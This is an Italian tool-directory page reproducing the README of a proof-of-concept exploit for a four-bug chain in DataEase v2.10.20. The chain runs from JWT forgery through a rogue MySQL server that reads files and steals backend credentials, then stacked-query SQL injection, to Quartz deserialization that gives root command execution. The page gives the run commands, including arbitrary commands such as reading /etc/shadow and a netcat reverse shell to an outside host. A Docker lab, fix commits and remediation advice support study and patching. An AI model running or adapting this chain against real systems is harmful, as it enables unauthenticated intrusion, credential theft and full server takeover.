Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
EXPLOIT-CVE-2026-40901 | Kitploit
Strumenti/GitHubGitHub/joaovicdev/exploit-cve-2026-40901
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo PayloadLab e Pratica
GitHubjoaovicdev/exploit-cve-2026-40901

EXPLOIT-CVE-2026-40901

Vedi Repository
125 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

DataEase — RCE senza autenticazione tramite una catena di 4 vulnerabilità (CVE-2026-40901 e affini)

Bypass dell'autenticazione → bypass della blocklist JDBC (lettura arbitraria di file) → iniezione SQL → deserializzazione Java in Quartz → esecuzione remota di codice come root.

Lab locale autonomo (Docker) + PoC funzionante. Corretto in DataEase v2.10.21.

DataEase è una popolare piattaforma open-source di BI / visualizzazione dati (Java / Spring Boot). Le versioni ≤ v2.10.20 sono vulnerabili a una catena di quattro problemi che, insieme, trasformano un'istanza DataEase raggiungibile dalla rete in un vettore di esecuzione remota di codice:

#CVEClasseCosa ci consente di ottenere
1CVE-2026-23958Bypass dell'autenticazione (CWE-287/CWE-347)Agire come admin — nessuna firma valida necessaria
2CVE-2026-40899Bypass della blocklist JDBC (CWE-20)Lettura arbitraria di file → rubare le credenziali del DB backend
3CVE-2026-40900Iniezione SQL / stacked queries (CWE-89)Scrivere nel database di DataEase
4CVE-2026-40901Deserializzazione Java (CWE-502)RCE come root tramite il job store di Quartz

TL;DR

root@kitploit:~
# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)

# 2. fire the chain
python3 exploit/de_rce_chain.py

# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux

Setup del lab

Tutto viene eseguito localmente in Docker. Nessun servizio esterno, nessun target su internet.

root@kitploit:~
docker-compose.yml         vulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml   repoints the DB at the local mysql-de
mysql/                     my.cnf + init.sql (creates the empty `dataease` DB)
exploit/                   the PoC

Per avviarlo:

root@kitploit:~
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
  • Web UI / API: http://localhost:8100 (prefisso API /de2api)
  • Credenziali predefinite fornite da DataEase: admin / DataEase@123456
  • La JVM di DataEase viene eseguita come root all'interno del container — quindi la nostra shell è root.

Requisiti sull'host: Docker, Python 3.8+ con cryptography (pip install -r exploit/requirements.txt), e la CLI di Docker (usata per eseguire ysoserial in un container usa-e-getta eclipse-temurin:8-jre per costruire il gadget).


La catena, passo per passo

1. CVE-2026-23958 — bypass dell'autenticazione

DataEase autentica le richieste in un filtro servlet, TokenFilter (sdk/common/.../auth/filter/TokenFilter.java). Legge il token e chiama TokenUtils.validate(), che finisce in:

root@kitploit:~
// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
    DecodedJWT jwt = JWT.decode(token);        // <-- decode only, NO signature check
    Long userId = jwt.getClaim("uid").asLong();
    Long oid    = jwt.getClaim("oid").asLong();
    ...
    return new TokenUserBO(userId, oid);
}

JWT.decode() non verifica mai la firma. Gli unici controlli sono: il token è lungo ≥ 100 caratteri e contiene un claim uid intero. Quindi qualsiasi JWT che dichiari "uid": 1 fa eseguire la richiesta come amministratore integrato (uid 1).

C'è un secondo filtro (CommunityTokenFilter) che in effetti verifica una firma per l'header X-DE-TOKEN — ma solo in condizioni specifiche, e la chiave di firma è o un segreto per-utente o, in una build community semplice, il MD5 della password predefinita hardcoded DataEase@123456 (SubstituleLoginConfig → dataease.default-pwd). Il percorso complementare share-link (X-DE-LINK-TOKEN) è firmato con la chiave hardcoded link-pwd-fit2cloud (LinkTokenUtil.defaultPwd) e, prima della correzione, era anch'esso decodificato senza verifica.

Effetto netto: un attaccante può creare un token da amministratore. de_common.py contiene forge_jwt() che produce il token senza firma; il PoC supporta anche il semplice login con le onnipresenti credenziali predefinite per ottenere un X-DE-TOKEN pienamente valido per il resto della catena.

La correzione (commit 00c169caa) fa sì che TokenFilter cerchi il segreto reale per-risorsa e chiami effettivamente verifier.verify(...).

2. CVE-2026-40899 — bypass della blocklist JDBC → lettura arbitraria di file

Quando aggiungi un datasource MySQL, DataEase rifiuta un insieme di parametri JDBC pericolosi. Questa blocklist risiede in un campo Lombok @Data:

root@kitploit:~
// io.dataease.datasource.type.Mysql   (extends DatasourceConfiguration, @Data)
private List<String> illegalParameters = Arrays.asList(
    "maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
    "detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
    "allowLoadLocalInfileInPath");

Poiché @Data genera automaticamente setIllegalParameters(...), Jackson lo popola senza problemi da JSON controllato dall'attaccante. Inviare "illegalParameters": [] nel blob configuration (codificato in Base64) svuota la blocklist prima che venga controllata. Possiamo quindi puntare il datasource a un server MySQL rogue con allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/ e leggere file arbitrari dall'host DataEase tramite il meccanismo LOCAL INFILE di MySQL.

root@kitploit:~
# terminal A — rogue server, choose any file to steal
python3 exploit/rogue_mysql.py --port 3307 \
        --file /opt/apps/config/application-standalone.yml

# terminal B — make DataEase connect to it (host.docker.internal reaches your host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307

Risultato — DataEase ci consegna le credenziali del proprio DB backend:

root@kitploit:~
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
  spring:
    datasource:
      url: jdbc:mysql://mysql-de:3306/dataease?...
      username: root
      password: Password123@mysql

Quelle credenziali sono ciò che un attaccante usa per puntare il passo 3 al database di DataEase. La correzione (commit 16a950f96) aggiunge @JsonIgnore a ogni campo illegalParameters in modo che non possa più essere impostato da JSON.

3. CVE-2026-40900 — iniezione SQL (stacked queries) in previewSql

POST /de2api/datasetData/previewSql accetta una stringa SQL codificata in Base64 e, senza alcuna validazione di singolo statement, la avvolge come sottoquery:

root@kitploit:~
SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0

I commenti vengono rimossi, ma possiamo bilanciare le parentesi e usare ; per eseguire istruzioni extra. Poiché controlliamo il datasource, abilitiamo allowMultiQueries=true (non presente nella blocklist in v2.10.20), quindi le stacked queries vengono eseguite:

root@kitploit:~
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1

che il server assembla in tre istruzioni reali. Puntando questo datasource al database di DataEase (credenziali dal passo 2) possiamo scrivere nelle sue tabelle Quartz. Correzioni: 15611593b aggiunge allowMultiQueries alla blocklist e e89059d88 irrobustisce il flusso save/engine.

4. CVE-2026-40901 — deserializzazione di Quartz → RCE

DataEase pianifica un job Quartz ricorrente di "controllo stato datasource":

  • scheduler deSyncJob, job Datasource / check_status, classe io.dataease.job.schedule.CheckDsStatusJob
  • cron 0 0/6 * * * ? * (predefinito: ogni 6 minuti)

Quartz usa un job store JDBC con useProperties=false, quindi la JobDataMap di ogni job è memorizzata nella colonna QRTZ_JOB_DETAILS.JOB_DATA come oggetto Java serializzato grezzo (puoi vederlo: il blob inizia con la magia di serializzazione AC ED 00 05 … org.quartz.JobDataMap). Quando lo scheduler cerca i trigger, in StdJDBCDelegate.selectJobDetail fa:

root@kitploit:~
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA");   // new ObjectInputStream(...).readObject()

DataEase include commons-collections-3.2.1.jar (e velocity-1.7.jar) — classiche fonti di gadget per deserializzazione. Usando il passo 3 sovrascriviamo JOB_DATA con un payload ysoserial CommonsCollections6 (e, nella stessa stacked query, portiamo il NEXT_FIRE_TIME del trigger a adesso così da non aspettare la cron di 6 minuti). Alla successiva scansione dello scheduler, readObject() attiva la catena di gadget (LazyMap → InvokerTransformer → Runtime.exec) e il nostro comando viene eseguito — come root, dentro il container. Il set di correzioni (e05bda764, …) rimuove la dipendenza vulnerabile da Velocity e la raggiungibilità del sink.

Il PoC genera il gadget per te (wrapping del comando compatibile con busybox — la shell di destinazione è Alpine ash e Runtime.exec non riceve una shell, quindi usiamo sh -c echo${IFS}<b64>|base64${IFS}-d|sh).


Esecuzione del PoC

root@kitploit:~
pip install -r exploit/requirements.txt

# full chain (default: writes an id/uname proof file inside the container)
python3 exploit/de_rce_chain.py

# arbitrary command
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'

# reverse shell (start `nc -lvnp 4444` first)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444

# verify code execution
docker exec dataease cat /tmp/pwned_CVE_2026_40901

Reimposta il job Quartz avvelenato tra le esecuzioni (opzionale):

root@kitploit:~
exploit/reset_quartz.sh

File


Perché è "sostanzioso"

  • La deserializzazione Java è la classe di bug senza tempo — qui raggiunta tramite un sink insolito (un BLOB del job store JDBC di Quartz) piuttosto che un corpo HTTP.
  • È una vera catena di quattro bug: ogni anello è singolarmente modesto, ma composti vanno da accesso di rete non autenticato a RCE come root.
  • Tutto è open-source e auto-ospitabile, quindi l'intera cosa è riproducibile su un laptop con Docker — esattamente ciò che vuoi per un writeup.

Rimedio

  • Aggiorna a DataEase ≥ v2.10.21.
  • Cambia immediatamente la password predefinita di admin (DataEase@123456).
  • Non esporre DataEase direttamente a reti non attendibili.
  • Difesa in profondità per il sink: esegui Quartz con useProperties=true, applica un filtro di deserializzazione JVM (-Djdk.serialFilter=…) e rimuovi commons-collections:3.2.1 / velocity:1.7 dal classpath.

Esclusione di responsabilità

Solo a scopo educativo e per test autorizzati. Il laboratorio ha come bersaglio un container che esegui tu stesso. Non utilizzare nulla di tutto ciò contro sistemi che non possiedi o per i quali non hai un'esplicita autorizzazione scritta al test.

Riferimenti

  • OX Security — From Auth Bypass to RCE: A 4-Vulnerability Exploit Chain in DataEase
  • NVD / advisory del fornitore — CVE-2026-40901, CVE-2026-40900, CVE-2026-40899, CVE-2026-23958
  • Commit di correzione: 00c169caa, 16a950f96, 15611593b, e89059d88, e05bda764 (DataEase v2.10.20..v2.10.21)
Scarica lo strumento
PercorsoScopo
exploit/de_common.pyclient HTTP: recupero RSA /dekey, login, contraffazione JWT, datasource + previewSql
exploit/de_rce_chain.pyla RCE end-to-end: auth → SQLi → deserializzazione Quartz
exploit/rogue_mysql.pyserver MySQL rogue minimale (lettura file LOCAL INFILE) per CVE-2026-40899
exploit/file_read.pyesegue CVE-2026-40899 contro il server rogue
exploit/reset_quartz.shripristina un job Quartz pulito dopo un'esecuzione